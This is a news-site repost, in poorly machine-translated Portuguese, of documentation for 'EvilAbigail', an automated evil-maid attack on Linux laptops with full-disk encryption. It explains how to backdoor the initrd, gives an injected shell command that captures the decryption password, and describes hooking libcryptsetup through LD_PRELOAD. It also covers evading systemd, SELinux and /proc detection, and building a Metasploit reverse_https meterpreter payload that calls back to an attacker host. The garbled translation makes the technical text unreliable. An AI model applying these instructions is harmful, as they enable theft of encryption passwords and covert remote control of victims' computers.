NOTÍCIAS

[ANONYMOUS][grids]

EvilAbigail - Automated Linux Evil Maid Attack

 EvilAbigail - Automated Linux Evil Maid Attack

Automated Linux evil maid attack 

Cenário
  • Laptop desligado desligado com FDE ligado
  • Botas atacantes de USB / CD / Network
  • Script executa e backdoors initrd
  • O usuário retorna ao laptop, as botas normalmente
  • Backdoored initrd loads:
    • (Debian / Ubuntu / Kali) .soarquivo para /sbin/inito arranque, soltando um shell
    • (Fedora / Red Hat Enterprise Linux) LD_PRELOAD .soem DefaultEnviroment, carregado globalmente, deixando cair um escudo.
Distros suportados
  • Ubuntu 14.04.3
  • Debian 8.2.0
  • Kali 2.0
  • Fedora 23
  • CentOS 7

Recursos atuais
  • python/meterpreter/reverse_https para compilar o tempo LHOST
  • Senha de descriptografia FDE armazenada no ambiente meterpreter ( getenv PASSWORD)

Detalhes

Compilação
VejaMakefilepara obter mais informações / configuração,LHOSTé necessário no ambiente para criar o.socomomsfvenomé encaminhado no tempo de compilação. Também é necessário terlibcrypsetup-dev(ou equivalente) instalado na máquina de construção. 
Instruções genéricas (build iso image in cwd):LHOST=192.168.56.101 make rev.so iso

isolinux.cfg
As seguintes opções foram anexadas à inicialização do kernel:
mc superuser nodhcp quiet loglevel=0
Além disso, opromptvalor foi configurado0para permitir a execução totalmente automática. 

Timing
Inicialização nefasta aproximada -> tempo backdoored: ~ 2 minutos Inicialização legítima aproximada -> shell ~ 90 segundos (configurável, queremos conexão em rede antes de nós)

Pré-requisitos
core.dé um core.gz desempacotado do TinyCore com os pacotes abaixo combinados em. 
Core-currenté um descompactado. Core-current.iso
Os seguintes pacotes foram instalados dentro do tinycore (python, suporte ao sistema de arquivos):
  • bzip2-lib.tcz
  • sistemas de arquivos-3.16.6-tinycore.tcz
  • gdbm.tcz
  • libffi.tcz
  • mtd-3.16.6-tinycore.tcz
  • ncurses.tcz
  • openssl.tcz
  • python.tcz
  • readline.tcz
  • sqlite3.tcz

Adicionando novas assinaturas
No mínimo, a assinatura é a seguinte:

"exampleOS" : {
    "IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
    "ROOT" : "${rootmnt}",
    "FILENAME" : "/ldlinux.so.1",
    "INITRDFILENAME" : "hda1"
}
  • exampleOS é um nome exclusivo para este sistema operacional.
  • IDENTIFIERé um comando de shell que possui um código de saída 0quando executado contra o initrd correto e !0para qualquer outra coisa.
  • ROOT é o caminho completo ou variável onde a nova raiz é montada após o descriptografia.
  • FILENAMEé o caminho completo para soltar o nosso binário na raiz fs. Tenha cuidado para saber o que initrdmonta e o que é montado mais tarde.
  • INITRDFILENAMEé o caminho completo do binário dentro do initrd. Isso é copiado para dentro Makefilecp ... core.d/...) para que ele corresponda.
Depois disso, cada tripla de *FILE*PRE*POSTé executado contra o initrd como um re.sub(por exemplo re.sub(*PRE, *POST, *FILE). O conteúdo *PRE*POSTsão expandidas usando .format(**config[detectedOS]), então sinta-se livre para expandir sua assinatura para injetar itens. 
Não há limite para o número de substituições que você pode executar. 

Notas
  • \\1expandirá para o conteúdo completo da partida ( *PRE) quando usado dentro da substituição ( *POST).
  • Seja cuidadoso com: | $



Carga útil Nitty Gritty
carga útil do python/meterpreter/reverse_https metasploit foi escolhida porque é mais independente da plataforma do que as linux/*/meterpreter/reverse_tcpcargas úteis. pythonparece ser instalado por padrão em todos os sistemas testados. 
Por padrão, a carga útil é gerada no tempo de compilação e encaminhada para o .carquivo como um #defineIsso facilita as iterações, mas não deve ser difícil salvar a carga e inseri-la manualmente. 


Baseado em Debian (Debian, Ubuntu, Kali) 

Deixar o shell de
sistemas baseados em Debian (Debian, Ubuntu, etc.) usam uma imagem cpio gzip padrão como o initramfs. Isso contém o padrão/initscript que funciona através da preparação do sistema para inicialização completa. Isso inclui perguntar ao usuário sua senha e montar as fs criptografadas da raiz. 
Para deixar cair nossa .so, esperamos até que o sistema de arquivos raiz tenha sido montado (então, após o usuário ter sido solicitado a senha) e copiar .sopara o /devsistema de arquivos. /devsistema de arquivos foi escolhido, pois é acessível apenas antes do rootfscomutado e é um suporte baseado em ram. Isso significa que o nosso .sonão tocará no disco. 
Para realmente usar a queda .so, usamos a LD_PRELOADvariável ambiental na switch_rootchamada. Essa variável é passada para todos os executáveis ​​filho e, como tal, o final/sbin/inito script terá o módulo carregado. Para manter isso relativamente silencioso, verificamos se estamos carregados /sbin/inite, em caso afirmativo, desestabilizamos a LD_PRELOADvariável e excluímos .soEsta funcionalidade pode ser facilmente desabilitada se quisermos ligar aplicativos específicos. 
Para forçar a execução do .so, por padrão, após o carregamento, usamos a gccbandeira -Wl,-init,shell, onde shellé a nossa função principal. Isso especifica a função que queremos chamar init do .soPense nisso como um análogo ao Windows ' DllMain

Roubo de senha
A parte do initscript encarregada de perguntar ao usuário sua senha e montar o sistema de arquivos raiz é a seguinte:
scripts/local-top/cryptroot:

if [ ! -e "$NEWROOT" ]; then
        if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
             $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
                message "cryptsetup: cryptsetup failed, bad password or options?"
                continue
        fi
fi

A parte importante para nós é onde o fluxo de saída 
$cryptkeyscripté encaminhado $cryptcreate$cryptkeyscripté o autor da senha, e $cryptcreateé o conversor de disco. Este tubo torna muito fácil para nós atacar. Nós inserimos o seguinte código onde o cachimbo é para escrever a senha até o final do nosso .so
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Isto irá ler a senha na variável $P, e ambos escreverão no final do .soe echo-lo novamente. Este código será transparente para os propósitos $cryptkeyscript$cryptcreate, mas terá o efeito do site de exfiltrar a senha. Usamos \\\\\\\\x00para substituir um byte nulo (que contabiliza muitos níveis de shell escapando) para a senha. Isso torna muito mais fácil para nossos.sopara ler a senha de volta, pois ele só precisa ler para trás do final de si mesmo até ver um byte nulo. 
Para fornecer esta senha ao invasor, ele é usado como uma variável ambiental na invocação da carga útil. Isso significa que o invasor pode usar o comando meterpretergetenv PASSWORD para recuperar a senha. 

Artefactos
Devido à maneira como o .soestá a ser carregado, não haverá referências a ele em ambos /proc/1/maps/proc/1/environ
mapsarquivo é uma lista de módulos carregados. O trecho a seguir mostra o conteúdo deste arquivo. Observe que (deleted), potencialmente poderia suscitar suspeitas. No entanto, ao contrário dos binários normais, não é possível acessar o.so sem esticá-lo diretamente sem memória depois de ter sido excluído.

7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264                       /dev/hda1 (deleted)

environarquivo é uma NULLlista separada de variáveis ​​ambientais na invocação. Por causa da invocação, isso significa que as modificações que fazemos no tempo de execução (desativando LD_PRELOAD) não serão refletidas. 
Em ambos os casos, porquanto possamos ser enganados em todos e quaisquer processos do sistema, poderíamos apenas ligar a read(2)função e remover quaisquer referências a nós mesmos. 

Kali
Kali é uma espécie de caso especial. Tem o cpio acorrentado como mencionado abaixo, mas não usa systemdpara inicializar. Como tal, a DRACUTregra do sistema operacional foi generalizada de modo que ele extraia cegamente, e então a segunda detecção do sistema operacional detecta Kali. 
Se você adicionar um SO com um cpio contendo apenas kernel/x86/microcode/GenuineIntel.bin, oIDENTIFIERa regra deve ser para o cpio anexado, pois a encontraremos automaticamente e extraí-lo-ei. 

Redhat Based (Fedora, CentOS)
Estes sistemas têm um formato diferente para a sua imagem initrd em comparação com sistemas baseados em Debian . Os arquivos initrd armazenados /bootsão um arquivo cpio quase vazio, com um arquivo gpip cpio anexado. Este segundo arquivo é aquele que contém o initramfsPara descompactar este segundo arquivo, é necessário analisar o primeiro arquivo cpio para encontrar o fim. Alternativamente, você pode encontrar a string TRAILER!!!e ler até encontrar gzip magic ( \x1f\x8b). 
Outra diferença desses sistemas é que eles são baseados em sistema e, como tal, o /initexecutável no initamfsé um link simbólico para o systemdbinário, em vez de um planoshroteiro. Para ignorar essa limitação, é necessário modificar os .servicearquivos relacionados à montagem do sistema de arquivos raiz. 
usr/lib/systemd/system/initrd-switch-root.servicescript contém o script que é usado para girar para a raiz recém-descriptografada. Usando o ExecStartPrepragma é possível executar outros programas antes do pivô ter lugar. 
O SELinux está presente no CentOS, restringindo o uso de LD_PRELOADUm caminho de trabalho é /libIsso foi localizado ao ler o arquivo em /etc/selinux/targeted/modules/active/file_contextsuma system_u:object_r:lib_t
localização rotulada. 

Soltando o shell
Como as chamadas do sistema clearenv()antes de mudar a raiz, nossa LD_PRELOADvariável é apagada. Para evitar isso, podemos ligar clearenv()e, sempre, simplesmente substituir o ambiente apenasLD_PRELOADNo entanto, para conseguir isso, precisamos ser PID 1 dentro do initrd. Isso é mais complicado, pois não é possível LD_PRELOADnesse processo. Para contornar isso, substituímos /initum script shell bash da seguinte maneira:

#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
Isso funciona porque /inité apenas um link simbólico para /usr/lib/systemd/systemdexecé usado para que o processo mantenha o PID (1) parend. 
Uma vez que isso é impessoado, e clearenv()é neutralizado, é possível configurar LD_PRELOADo PID real 1 dentro da nova raiz. 

Password Stealing
systemd lida com senhas para sistemas de arquivos criptografados completamente diferentes dos scripts de inicialização baseados em Debian . As senhas são passadas usando sockets Unix que permitem enviar credenciais. Para contornar essa complexidade, o método mais fácil que encontramos para acessar a senha foi conectar a crypt_activate_by_passphrasefunção libcryptsetupAs partes relevantes da declaração de função são as seguintes:

int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
Para acessar a senha, simplesmente ativamos essa função, salve passphraseem um arquivo e chame a função original obtida por dlsym(RTLD_NEXT, ...)Como acima, nós anexamos nossa senha para .soassim poder analisar e disponibilizar a senha para o meterpreter. 

Artefactos
como acima, o .so mostra-se na /proc/1/maps/proc/1/environpsde saída.